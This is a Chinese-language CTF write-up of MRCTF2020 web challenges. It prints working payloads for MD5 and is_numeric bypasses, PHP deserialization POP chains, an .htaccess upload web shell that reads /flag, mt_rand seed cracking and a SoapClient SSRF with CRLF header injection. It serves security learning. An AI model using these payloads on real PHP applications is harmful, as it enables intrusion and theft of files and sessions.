MRCTF2020-web MRCTF2020-web
题解 [MRCTF2020]Ez_bypass 考察:MD5强相等绕过,is_number()绕过
提供源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 I put something in F12 for  you include  'flag.php' ;$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}' ; if (isset ($_GET['gg' ])&&isset ($_GET['id' ])) {    $id=$_GET['id' ];     $gg=$_GET['gg' ];     if  (md5($id) === md5($gg) && $id !== $gg) {         echo  'You got the first step' ;         if (isset ($_POST['passwd' ])) {             $passwd=$_POST['passwd' ];             if  (!is_numeric($passwd))             {                  if ($passwd==1234567 )                  {                      echo  'Good Job!' ;                      highlight_file('flag.php' );                      die ('By Retr_0' );                  }                  else                   {                      echo  "can you think twice??" ;                  }             }             else {                 echo  'You can not get it !' ;             }         }         else {             die ('only one way to get the flag' );         } }     else  {         echo  "You are not a real hacker!" ;     } } else {    die ('Please input first' ); } }Please input first 
exp:
1 2 GET: id[]=1 &&gg[]=2  POST: passwd=1234567 a 
[MRCTF2020]Ezpop 考察反序列化
提供源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53  <?php  class  Modifier      protected   $var;     public  function  append ($value)          include ($value);     }     public  function  __invoke ()          $this ->append($this ->var);     } } class  Show     public  $source;     public  $str;     public  function  __construct ($file='index.php' )          $this ->source = $file;         echo  'Welcome to ' .$this ->source."<br>" ;     }     public  function  __toString ()          return  $this ->str->source;     }     public  function  __wakeup ()          if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) {             echo  "hacker" ;             $this ->source = "index.php" ;         }     } } class  Test     public  $p;     public  function  __construct ()          $this ->p = array ();     }     public  function  __get ($key)          $function = $this ->p;         return  $function();     } } if (isset ($_GET['pop' ])){    @unserialize($_GET['pop' ]); } else {    $a=new  Show;     highlight_file(__FILE__ ); } 
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php class  Modifier      protected  $var='php://filter/read=convert.base64-encode/resource=./flag.php' ;     public  function  append ($value)          include ($value);     }     public  function  __invoke ()          $this ->append($this ->var);     } } class  Show     public  $source;     public  $str;     public  function  __construct ($file='index.php' )          $this ->source = $file;         echo  'Welcome to ' .$this ->source."<br>" ;     }     public  function  __toString ()          return  $this ->str->source;     }     public  function  __wakeup ()          if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) {             echo  "hacker" ;             $this ->source = "index.php" ;         }     } } class  Test     public  $p;     public  function  __construct ()          $this ->p = array ();     }     public  function  __get ($key)          $function = $this ->p;         return  $function();     } } $a = new  Modifier(); $b = new  Show(); $c = new  test(); $c->p = $a; $b->str = $c; $b->source = $b; echo  serialize($b);
参考文章:https://www.cnblogs.com/fish-pompom/p/11126473.html 
[MRCTF2020]套娃 考点:data伪协议,php特性
提供源码:
1 2 3 4 5 6 7 8 $query = $_SERVER['QUERY_STRING' ];  if ( substr_count($query, '_' ) !== 0  || substr_count($query, '%5f' ) != 0  ){     die ('Y0u are So cutE!' ); }  if ($_GET['b_u_p_t' ] !== '23333'  && preg_match('/^23333$/' , $_GET['b_u_p_t' ])){     echo  "you are going to the next ~" ; } 
php会将空格以及.换成_
preg_match()使用%0a绕过
然后到secrettw.php
F12解码jsfuck,要我们POST
post:Merak=1
然后获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php  error_reporting(0 );  include  'takeip.php' ;ini_set('open_basedir' ,'.' );  include  'flag.php' ;if (isset ($_POST['Merak' ])){     highlight_file(__FILE__ );      die ();  }  function  change ($v)     $v = base64_decode($v);      $re = '' ;      for ($i=0 ;$i<strlen($v);$i++){          $re .= chr ( ord ($v[$i]) + $i*2  );      }      return  $re;  } echo  'Local access only!' ."<br/>" ;$ip = getIp(); if ($ip!='127.0.0.1' )echo  "Sorry,you don't have permission!  Your ip is :" .$ip;if ($ip === '127.0.0.1'  && file_get_contents($_GET['2333' ]) === 'todat is a happy day'  ){echo  "Your REQUEST is:" .change($_GET['file' ]);echo  file_get_contents(change($_GET['file' ])); }?> 
首先ip用Client-ip: 127.0.0.1绕过
file_get_contents($_GET['2333']) === 'todat is a happy day'用data伪协议绕过
然后根据解码算法写出加密算法
1 2 3 4 5 6 7 8 9 10 <?php   function  enc ($payload)        for ($i=0 ; $i<strlen($payload); $i++){         $re .= chr(ord($payload[$i])-$i*2 );         }       return  base64_encode($re);     }   echo  enc('flag.php' );    ?> 
payload:
并且Client-ip:127.0.0.1
获得flag
[MRCTF2020]你传你🐎呢 考点:.htaccess上传
上传啥都不行,然后上传.htaccess
1 2 3 4 5 <FilesMatch "txt" > SetHandler application/x-httpd-php </FilesMatch> 
然后上传txt文件
1 2 3 <script language="php" >phpinfo();</script> <script language="php" >readfile('/flag' );</script> <script language="php" >echo  file_get_contents("/flag" );</script> 
这个没被禁,同时file_get_contents,这个也没有被禁
所以上传的txt文件就可以获得flag了。
[MRCTF2020]Ezaudit 考点:伪随机数漏洞
在www.zip发现源码 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php  header('Content-type:text/html; charset=utf-8' ); error_reporting(0 ); if (isset ($_POST['login' ])){    $username = $_POST['username' ];     $password = $_POST['password' ];     $Private_key = $_POST['Private_key' ];     if  (($username == '' ) || ($password == '' ) ||($Private_key == '' )) {                  header('refresh:2; url= ' );         echo  "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!" ;         exit ; }     else  if ($Private_key != '*************'  )     {         header('refresh:2; url=login.html' );         echo  "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!" ;         exit ;     }     else {         if ($Private_key === '************' ){         $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'" .';' ;          $link=mysql_connect("localhost" ,"root" ,"root" );         mysql_select_db("test" ,$link);         $result = mysql_query($getuser);         while ($row=mysql_fetch_assoc($result)){             echo  "<tr><td>" .$row["username" ]."</td><td>" .$row["flag" ]."</td><td>" ;         }     }     } }    function  public_key ($length = 16 )       $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ;     $public_key = '' ;     for  ( $i = 0 ; $i < $length; $i++ )     $public_key .= substr($strings1, mt_rand(0 , strlen($strings1) - 1 ), 1 );     return  $public_key;   }      function  private_key ($length = 12 )       $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ;     $private_key = '' ;     for  ( $i = 0 ; $i < $length; $i++ )     $private_key .= substr($strings2, mt_rand(0 , strlen($strings2) - 1 ), 1 );     return  $private_key;   }   $Public_key = public_key();    
考察伪随机数漏洞,BJD2nd考察过
1 2 3 4 5 6 7 8 9 10 str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'  str2 = 'KVQP0LdJKRaV3n9D'  str3 = str1[::-1 ] res = ''  for  i in  range(len(str2)):    for  j in  range(len(str1)):         if  str2[i] == str1[j]:             res += str(j) + ' '  + str(j) + ' '  + '0'  + ' '  + str(len(str1) - 1 ) + ' '              break  print(res) 
然后获得能被php_mt_seed识别的数据
再爆破出key
然后就可以得出private_key
但是这里要先获得公钥,才能再获得私钥 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php mt_srand(1775196155 ); function  public_key ($length = 16 )      $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ;     $public_key = '' ;     for  ( $i = 0 ; $i < $length; $i++ )         $public_key .= substr($strings1, mt_rand(0 , strlen($strings1) - 1 ), 1 );     return  $public_key; } function  private_key ($length = 12 )      $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ;     $private_key = '' ;     for  ( $i = 0 ; $i < $length; $i++ )         $private_key .= substr($strings2, mt_rand(0 , strlen($strings2) - 1 ), 1 );     return  $private_key; } echo  public_key();echo  "\n" ;echo  private_key();
[MRCTF2020]Ezpop_Reveng 考察:Soap_Client类,代码审计,反序列化
像这样子有CMs的一般都会有源码,www.zip获得源码
在./usr/plugins/HelloWorld/Plugin.php中看到注入点
然后我们找到pop链,在根目录下存在一个flag.php
可以看出,我们需要通过SSRF来获得flag,这里就需要使用到soapClient类,所以这个pop链的结局就是,我们需要寻找一个类,使其的某个变量为soapclient,并且该变量还会调用某个方法,为了触发soapClient类的call方法
在plugin.php中
这个__wakeup()中的Typecho_Db对象,我们跟进一下
这里如果我们使得$adapterName为某个类。那么就会触发那个类中的__toString()
也就是说我们要使得对象HelloWorld_DB中的$coincidence=array('hello'=> 某个类的实例对象 )
全局搜索__toString
跟进,在类Typecho_Db_Query中的__toString()
这里的$this->_sqlPreBuild['action']和$this->_adapter是可控的。 
那我们可以令
1 2 $this ->_sqlPreBuild=['action' =>'SELECT' ]$this ->_adapter=SoapClient()
1 $this ->_adapter->parseSelect($this ->_sqlPreBuild);
这样就会触发SoapClient的_call(),以触发SSRF
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class  HelloWorld_DB     private  $flag="MRCTF{this_is_a_fake_flag}" ;     private  $coincidence;     public  function  __construct ()       {        $this ->coincidence = ['hello' =>new  Typecho_Db_Query()];     } } class  Typecho_Db_Query     private  $_adapter;     private  $_sqlPreBuild;     public  function  __construct ()       {        $target = 'http://127.0.0.1/flag.php' ;         $headers = array (             'X-Forwarded-For: 127.0.0.1' ,             'Cookie: PHPSESSID=11111111111111111111111111'          );         $b = new  SoapClient(null ,array ('location'  => $target,'user_agent' =>'HyyMbb^^' .join('^^' ,$headers),'uri'       => "aaab" ));         $this ->_adapter=$b;         $this ->_sqlPreBuild = ['action' =>'SELECT' ];     } } 
参考:https://www.cnblogs.com/fish-pompom/p/11126473.html 
这个时候先生成序列化的值,然后再做一些小处理\00,
%00会被过滤,所以用\00来代替
得到了
1 $aaa = 'O:13:"HelloWorld_DB":1:{S:26:"\00HelloWorld_DB\00coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"\00Typecho_Db_Query\00_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"\00Typecho_Db_Query\00_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=11111111111111111111111111";s:13:"_soap_version";i:1;}}}}' ; 
然后
1 2 3 4 5 6 7 8 $aaa = 'O:13:"HelloWorld_DB":1:{S:26:"\00HelloWorld_DB\00coincidence";a:1:{s:5:"hello";O:16:"Typecho_Db_Query":2:{S:30:"\00Typecho_Db_Query\00_sqlPreBuild";a:1:{s:6:"action";s:6:"SELECT";}S:26:"\00Typecho_Db_Query\00_adapter";O:10:"SoapClient":5:{s:3:"uri";s:4:"aaab";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:79:"wupco^^X-Forwarded-For: 127.0.0.1^^Cookie: PHPSESSID=11111111111111111111111111";s:13:"_soap_version";i:1;}}}}' ; $aaa = str_replace('^^' ,"\r\n" ,$aaa); $aaa = str_replace('&' ,'&' ,$aaa); echo  $aaa;echo  "\n" ;echo   base64_encode($aaa);
获得exp
1 2 3 4 C0incid3nc3=TzoxMzoiSGVsbG9Xb3JsZF9EQiI6MTp7UzoyNjoiXDAwSGVsbG9Xb3JsZF9EQlwwMGNvaW5jaWRlbmNlIjthOjE6e3M6NToiaGVsbG8iO086MTY6IlR5cGVjaG9fRGJfUXVlcnkiOjI6e1M6MzA6IlwwMFR5cGVjaG9fRGJfUXVlcnlcMDBfc3FsUHJlQnVpbGQiO2E6MTp7czo2OiJhY3Rpb24iO3M6NjoiU0VMRUNUIjt9UzoyNjoiXDAwVHlwZWNob19EYl9RdWVyeVwwMF9hZGFwdGVyIjtPOjEwOiJTb2FwQ2xpZW50Ijo1OntzOjM6InVyaSI7czo0OiJhYWFiIjtzOjg6ImxvY2F0aW9uIjtzOjI1OiJodHRwOi8vMTI3LjAuMC4xL2ZsYWcucGhwIjtzOjE1OiJfc3RyZWFtX2NvbnRleHQiO2k6MDtzOjExOiJfdXNlcl9hZ2VudCI7czo3OToid3VwY28NClgtRm9yd2FyZGVkLUZvcjogMTI3LjAuMC4xDQpDb29raWU6IFBIUFNFU1NJRD0xMTExMTExMTExMTExMTExMTExMTExMTExMSI7czoxMzoiX3NvYXBfdmVyc2lvbiI7aToxO319fX0= PHPSESSION=11111111111111111111111111  
访问page_admin
因为我们的soapClient的PHPSESSION=11111111111111111111111111
修改session